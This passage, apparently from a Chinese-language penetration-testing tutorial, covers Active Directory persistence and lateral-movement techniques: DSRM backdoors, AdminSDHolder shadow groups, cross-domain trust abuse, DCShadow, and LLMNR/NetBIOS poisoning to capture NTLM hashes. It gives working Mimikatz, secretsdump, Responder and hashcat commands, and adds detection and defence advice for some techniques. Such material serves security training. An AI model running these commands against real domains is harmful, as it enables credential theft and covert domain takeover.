DSRM 密码在域控安装时设置,与域管理员密码无关,且默认不会自动同步。即使域管理员密码被重置,DSRM 密码仍有效。 - 本地特权:
DSRM 账户拥有本地SYSTEM
权限,可绕过域策略直接访问域控文件系统(如提取ntds.dit
)。 - 隐蔽性:
DSRM 登录行为通常不会触发域日志(如 Event ID 4624),仅记录在本地安全日志中,难以被集中监控。
三、攻击流程
1. 获取当前 DSRM 密码
- 从 ntds.dit 中提取(需域控权限):
1
2# 使用 Mimikatz 提取 DSRM 账户信息
mimikatz "lsadump::lsa /name:Administrator /id:500" # 查找 RID 为 500 的本地账户 - 通过注册表查询:
1
reg query "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" /v DsrmAdminLogonBehavior
2. 修改 DSRM 密码
- 使用 ntdsutil 工具:
1
2
3
4
5
6ntdsutil
set DSRM password
reset password on server <域控主机名>
<输入新密码>
q
q - 通过 PowerShell 脚本:
1
Set-ADDBAccountPassword -SamAccountName Administrator -NewPassword (ConvertTo-SecureString "NewPassw0rd!" -AsPlainText -Force) -DatabasePath "C:\Windows\NTDS\ntds.dit" -SysvolPath "C:\Windows\SYSVOL"
3. 启用 DSRM 登录
默认情况下,DSRM 仅能在安全启动模式下使用。需修改注册表允许在正常模式登录:
1 | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f |
- 值说明:
0
:仅在安全启动模式允许 DSRM 登录。1
:禁止 DSRM 登录。2
:允许在域控正常运行时使用 DSRM 登录。
4. 持久化利用
- 通过 DSRM 登录域控:
使用修改后的密码本地登录,执行高权限操作(如启动 Mimikatz 提取哈希):1
2# 使用 PsExec 远程登录(需本地管理员权限)
PsExec.exe \\DC01 -u Administrator -p NewPassw0rd! cmd.exe - 部署隐蔽后门:
结合 计划任务 或 WMI 事件订阅,在系统启动时重新激活 DSRM 权限。
6.AdminSDHolder与影子组
一、AdminSDHolder的核心原理
AdminSDHolder 是 Active Directory 中的一个特殊容器(位于 CN=AdminSDHolder,CN=System,DC=example,DC=com
),其 ACL(访问控制列表)会被定期同步到所有受保护的高权限组(如 Domain Admins、Enterprise Admins)和用户,确保其权限不被意外篡改。同步由 SDProp(Security Descriptor Propagator) 进程完成,默认每 60 分钟 执行一次。
二、影子组的定义与作用
影子组 是攻击者创建或利用的普通用户组,通过修改 AdminSDHolder 的 ACL,将影子组添加到其权限列表中,从而间接控制所有受保护的高权限组。影子组本身不具备特权,但其权限会通过 SDProp 同步到所有受保护对象,实现隐蔽的权限维持。
三、攻击流程详解
步骤 1:创建影子组
创建一个看似无害的用户组(如 “IT_Support”),用于隐藏攻击意图:
1 | New-ADGroup -Name "IT_Support" -GroupScope Global -GroupCategory Security |
步骤 2:修改AdminSDHolder的ACL
使用 PowerView 或 Active Directory模块 授予影子组对 AdminSDHolder 的完全控制权限:
1 | # 使用 PowerView |
步骤 3:触发SDProp同步
默认每60分钟自动同步,也可手动触发(需域控重启或强制同步):
1 | # 重启域控(高风险) |
步骤 4:通过影子组行使特权
影子组成员(如 AttackerUser)可修改受保护组的成员(如添加自己到 Domain Admins):
1 | Add-ADGroupMember -Identity "Domain Admins" -Members AttackerUser |
四、技术原理深度解析
AdminSDHolder的ACL同步机制
SDProp 进程将 AdminSDHolder 的 ACL 复制到所有受保护对象(标记为adminCount=1
的对象),覆盖其原有权限。攻击者通过控制 AdminSDHolder 的 ACL,间接控制所有高权限组。隐蔽性设计
- 影子组低权限:影子组本身不直接拥有特权,避免被常规审计工具(如 BloodHound)标记为高危。
- 权限继承延迟:SDProp 同步周期为60分钟,攻击痕迹不会立即暴露。
防御绕过
- 修改 AdminSDHolder 的 ACL 无需域管理员权限,只需对容器有写权限(默认 Domain Admins 拥有此权限)。
- 攻击者可结合 ACL 隐藏技术(如禁用继承),使权限变更难以通过 GUI 工具发现。
十、交叉信任攻击
一、交叉信任攻击的核心原理
交叉信任(Cross-Trust)攻击 是攻击者利用 Active Directory 多域环境中的 信任关系(如父子信任、林信任、外部信任),通过一个被攻陷的域(Source Domain)向另一个受信任的域(Target Domain)横向移动,最终控制整个林或外部域。其核心逻辑如下:
- 信任密钥(Trust Key):域间信任关系通过共享密钥(NTLM Hash 或 AES Key)建立,攻击者可窃取该密钥伪造跨域票据。
- SID History 滥用:通过注入目标域特权组的 SID,绕过权限验证。
- 跨域资源访问:利用信任关系访问目标域的资源(如文件共享、数据库)。
二、攻击前提条件
- 环境要求:
- 存在跨域信任关系(如
DomainA
信任DomainB
)。 - 攻击者已控制源域的域控制器或高权限账户。
- 存在跨域信任关系(如
- 关键凭据:
- 信任密钥(通过 DCSync 或注册表提取)。
- 目标域的 SID(用于构造黄金票据或 SID History)。
三、攻击流程与手法
1. 提取信任密钥
- 通过 DCSync 导出(需源域控权限):
1
2
3
4# 使用 Mimikatz 提取域间信任密钥
mimikatz "lsadump::trust /patch"
# 或使用 Impacket
secretsdump.py domainA/[email protected] -just-dc-user domainB$ - 从注册表导出:
1
2
3reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save
python3 secretsdump.py -system system.save -security security.save LOCAL
2. 伪造跨域黄金票据
若已获取域间信任密钥(Trust Key),可伪造跨域黄金票据(Golden Ticket),直接获得目标域权限,无需依赖SID History。
使用信任密钥生成针对目标域的黄金票据:
1 | # 使用 Mimikatz(假设目标域为 DomainB) |
- 关键参数:
/sids
:注入目标域特权组的 SID(如 Domain Admins)。/krbtgt
:信任密钥(非目标域的 krbtgt Hash)。
3. 跨域资源访问
- 访问目标域文件共享:
1
dir \\dc.domainB.com\C$
- 执行 DCSync 攻击:
1
mimikatz "lsadump::dcsync /domain:DomainB.com /user:krbtgt"
- 横向移动至目标域主机:
1
psexec.py DomainB.com/[email protected] -hashes <NTLM_Hash>
4. SID History 注入(跨域提权)
攻击者在源域(已控)中创建用户,并注入目标域(受信任域)的高权限组SID(如Domain Admins的SID)。当该用户访问目标域资源时,系统会将其SID History视为有效权限来源,授予对应特权。
步骤1:获取源域控制权
- 前提:已控源域的域控制器或具备Domain Admin权限。
- 目标:修改用户属性以注入SID History。
步骤2:确定目标域高权限SID
获取目标域的Domain Admins组SID(如
S-1-5-21-<域标识>-512
)。工具示例(PowerView):
1
Get-DomainGroup -Identity "Domain Admins" -Domain target-domain.com | Select-Object SID
步骤3:注入SID History
使用Mimikatz或PowerShell修改用户属性:
1
2# Mimikatz(需SYSTEM权限)
mimikatz "sid::add /sam:EvilUser /new:S-1-5-21-<目标域标识>-512"1
2# PowerShell(需AD模块)
Set-ADUser -Identity EvilUser -Replace @{sidHistory=("S-1-5-21-<目标域标识>-512")}
步骤4:跨域访问与提权
使用注入SID的用户访问目标域资源:
1
2runas /user:source-domain\EvilUser cmd.exe
dir \\dc.target-domain.com\C$ # 验证权限执行DCSync导出目标域哈希:
1
mimikatz "lsadump::dcsync /domain:target-domain.com /user:krbtgt"
四、信任类型与攻击影响
信任类型 | 攻击可行性 |
---|---|
父子信任 | 高(默认双向可传递,可访问整个林资源) |
林信任 | 中(需明确配置资源访问权限) |
外部信任 | 低(单向不可传递,仅限特定域) |
领域信任 | 低(与非 Windows 域交互,如 Kerberos 领域) |
十一、森林权限持久化DCShadow
一、DCShadow攻击原理
DCShadow 是一种基于 Active Directory 复制机制 的高级权限维持技术,允许攻击者通过注册 恶意域控制器(Rogue DC),绕过常规权限验证直接修改 AD 数据库(ntds.dit
),实现隐蔽的持久化。其核心特点如下:
- 无需物理接触真实DC:通过伪造DC身份,利用合法的DrsReplicaAdd协议同步恶意数据。
- 绕过日志监控:操作模拟正常域复制行为,不触发敏感事件日志(如对象修改记录)。
- 高权限需求:需 Domain Admin 或 Enterprise Admin 权限注册恶意DC。
二、攻击流程
1. 环境准备
- 权限提升:获取域管理员权限(如通过Mimikatz提取哈希或Pass-the-Ticket)。
- 工具准备:使用Mimikatz的 DCShadow模块 或PowerShell脚本(如 Invoke-DCShadow)。
2. 注册恶意域控制器
1 | # 使用Mimikatz注册恶意DC(需SYSTEM权限) |
- 参数说明:
/object
:目标AD对象(如用户、组)。/attribute
:要修改的属性(如primaryGroupID
设置为Domain Admins的RID 512)。/value
:新属性值。
3. 篡改AD对象
- 提权用户:将普通用户加入特权组(如Domain Admins)。
- 部署后门:修改AdminSDHolder的ACL或配置恶意组策略。
1
mimikatz "lsadump::dcshadow /push"
4. 触发复制与清理
- 强制同步:触发合法DC从恶意DC拉取数据。
1
mimikatz "lsadump::dcshadow /execute"
- 删除痕迹:卸载恶意DC注册信息,避免被逆向追踪。
1
mimikatz "lsadump::dcshadow /cleanup"
三、技术优势与隐蔽性
- 绕过传统检测:
- 无日志记录:AD对象修改操作不生成Event ID 5136(对象属性变更)。
- 合法协议滥用:利用DRS(Directory Replication Service)协议,流量加密且与正常复制行为相似。
- 持久化效果:
- 直接修改数据库:更改写入
ntds.dit
,重启后仍有效。 - 无文件落地:操作全程在内存中完成,不触发文件监控。
- 直接修改数据库:更改写入
四、攻击场景示例
场景1:隐蔽提权
- 攻击者控制用户
UserA
,将其primaryGroupID
改为512
(Domain Admins组RID)。 - 通过DCShadow推送修改,UserA获得域管理员权限。
- 合法DC同步后,UserA可访问所有域资源。
场景2:ACL后门
- 修改
AdminSDHolder
的ACL,添加影子组BackdoorGroup
的完全控制权限。 - 所有受保护组(如Domain Admins)的ACL被同步更新,影子组成员获得持久控制权。
五、检测与防御
1. 检测方法
- 网络流量分析:
- 监控异常的 DRS远程过程调用(RPC) 请求,尤其是来自非DC主机的流量。
- 使用Wireshark过滤
dcerpc.cn
协议,检查DrsReplicaAdd
调用来源。
- 日志监控:
- Event ID 4662:关注
DS-Replication-Get-Changes-All
操作的来源IP。 - Event ID 4742:检查新注册的域控制器(恶意DC通常无正常SPN)。
- Event ID 4662:关注
- 工具扫描:
- ADExplorer:手动检查域控制器列表中的异常条目。
- BloodHound:识别异常的ACL修改或用户权限提升路径。
2. 防御措施
- 权限最小化:
- 限制 Domain Admins 组权限,避免账户被滥用。
- 禁用不必要的域控制器注册权限(默认允许Domain Admins)。
- 网络隔离:
- 限制域控制器间的RPC通信(端口135、445、636)仅允许可信IP。
- 启用SMB签名与LDAPS加密,防止中间人攻击。
- 增强监控:
- 配置SIEM工具(如Splunk)实时告警异常DRS事件。
- 定期审计AD对象的属性变更(如
primaryGroupID
、sidHistory
)。
- 补丁与加固:
- 安装AD复制的安全更新(如KB5008380)。
- 启用 LSA保护(Credential Guard) 防止凭据窃取。
六、清除后门
- 回滚AD修改:
- 使用合法域控制器强制同步正确配置。
- 手动修复被篡改的AD对象属性。
- 移除恶意DC:
1
2# 使用ntdsutil删除恶意DC
ntdsutil "metadata cleanup" "connections" "connect to server legit-dc" "quit" "select operation target" "list domains" "select domain 0" "list sites" "select site 0" "list servers" "select server <恶意DC编号>" "quit" "remove selected server" - 审计与恢复:
- 重置受影响用户的凭据与组成员关系。
- 验证AdminSDHolder与系统容器的ACL配置。
七、总结
DCShadow利用Active Directory的复制机制,实现了极难检测的持久化攻击。其隐蔽性源于对合法协议的滥用与无日志特性,防御需结合网络隔离、权限控制与深度行为分析。对于企业安全团队而言,持续监控域控制器间的异常通信、严格管理高权限账户,是抵御此类高级威胁的关键。
十二、其他补充知识点
一.利用协议降级进行NTLM嗅探
针对通过 DNS降级、LLMNR/NetBIOS投毒 结合 NTLM哈希嗅探 的攻击方式,以下是技术原理、攻击流程及防御方案:
1. 攻击原理:名称解析协议的弱点
(1) 名称解析协议降级
- DNS解析失败后的备用机制:当客户端通过DNS无法解析目标主机名时,会自动回退到 LLMNR(链路本地多播名称解析,IPv6)或 NetBIOS-NS(IPv4)进行本地网络广播查询。
- 攻击者利用点:攻击者监听并伪造响应,声称自己是目标主机,诱导客户端向攻击者发起认证请求(如SMB、HTTP等),从而获取NTLM哈希。
(2) 本地链路多播(Link-Local Multicast)
- LLMNR:使用多播地址
FF02::1:3
(IPv6)或224.0.0.252
(IPv4),在本地子网内广播查询。 - NetBIOS-NS:通过UDP 137端口广播查询(IPv4)。
- 无认证机制:这些协议未验证响应者身份,攻击者可轻易伪造响应。
2. 攻击流程
步骤1:诱骗客户端发起认证
- 用户或服务尝试访问一个不存在的共享路径(如误输
\\fileserver\share
)。 - DNS解析失败后,客户端通过LLMNR/NetBIOS广播查询
fileserver
。 - 攻击者(如使用 Responder 工具)抢先响应,声明自己是
fileserver
。
步骤2:触发NTLM认证
- 客户端向攻击者伪装的服务器发起SMB、HTTP或FTP等协议连接。
- 攻击者发送认证挑战(Challenge),客户端计算NTLM响应(包含用户密码的哈希)并返回。
步骤3:捕获NTLM哈希
- 攻击者捕获客户端的NTLM响应(如
NTLMv2-Hash
),后续可通过离线暴力破解或中继攻击(Relay)利用该哈希。
3. 常用工具
- Responder:自动化监听LLMNR/NetBIOS请求并伪造响应,捕获NTLM哈希。
1
python3 Responder.py -I eth0
- Inveigh(Windows PowerShell):类似Responder,支持更多协议。
- mitm6:利用IPv6 DHCP投毒,强制客户端使用攻击者控制的DNS服务器。
4. 攻击示例(Responder 捕获NTLMv2哈希)
- 启动Responder:
1
responder -I eth0 -wrf
-wrf
:启用HTTP/SMB/FTP等服务的伪造。
- 诱导客户端触发请求:
- 用户点击无效的共享链接(如
\\fake-server\share
)。
- 用户点击无效的共享链接(如
- 捕获哈希:
- Responder 输出捕获的NTLMv2哈希(保存为
hash.txt
):1
[SMB] NTLMv2-SSP Hash captured from 192.168.1.10: john::DOMAIN:1122334455667788:AAAAAAA...
- Responder 输出捕获的NTLMv2哈希(保存为
- 破解哈希:
- 使用 Hashcat 暴力破解:
1
hashcat -m 5600 hash.txt /path/to/wordlist.txt
- 使用 Hashcat 暴力破解:
5. 防御方案
(1) 禁用不安全的协议
- 关闭LLMNR(组策略):
1
计算机配置 → 管理模板 → 网络 → DNS客户端 → 关闭LLMNR → 启用
- 禁用NetBIOS(网络适配器属性):
- IPv4高级设置 → WINS → 禁用NetBIOS over TCP/IP。
- 限制IPv6使用(如无需IPv6):
- 禁用IPv6或配置防火墙规则过滤本地链路多播。
(2) 强制使用DNS安全扩展
- 配置DNSSEC,防止DNS投毒。
- 确保内网DNS服务器可靠,避免解析失败。
(3) 阻止NTLM协议滥用
启用SMB签名(防止中继攻击):
1
组策略 → 计算机配置 → 策略 → 安全设置 → 本地策略 → 安全选项 → Microsoft网络服务器: 数字签名通信(总是)
禁用NTLMv1,仅允许NTLMv2或Kerberos:
1
组策略 → 计算机配置 → 策略 → 安全设置 → 本地策略 → 安全选项 → 网络安全: LAN Manager身份验证级别 → 仅发送NTLMv2响应
限制NTLM使用(通过组策略或注册表)。
(4) 网络监控与隔离
- 检测异常的LLMNR/NetBIOS流量(如非管理员主机的响应)。
- 分段内网,限制敏感主机的多播通信。
(5) 用户教育与策略
- 培训用户避免点击未知共享链接。
- 使用主机名全称(FQDN)访问资源,减少解析失败概率。
6. 扩展:中继攻击(Relay)防御
若攻击者将捕获的NTLM哈希直接中继到其他服务(如Exchange、AD CS),危害更大:
- 启用LDAP/SMB签名:中继攻击要求目标服务禁用签名。
- 启用EPA(Extended Protection for Authentication):绑定HTTPS通道与认证信息。
总结
通过 LLMNR/NetBIOS投毒 和 NTLM哈希捕获 是内网渗透的常见手法,防御需结合协议禁用、认证加固和网络监控。企业应优先使用 Kerberos 并彻底淘汰NTLM协议。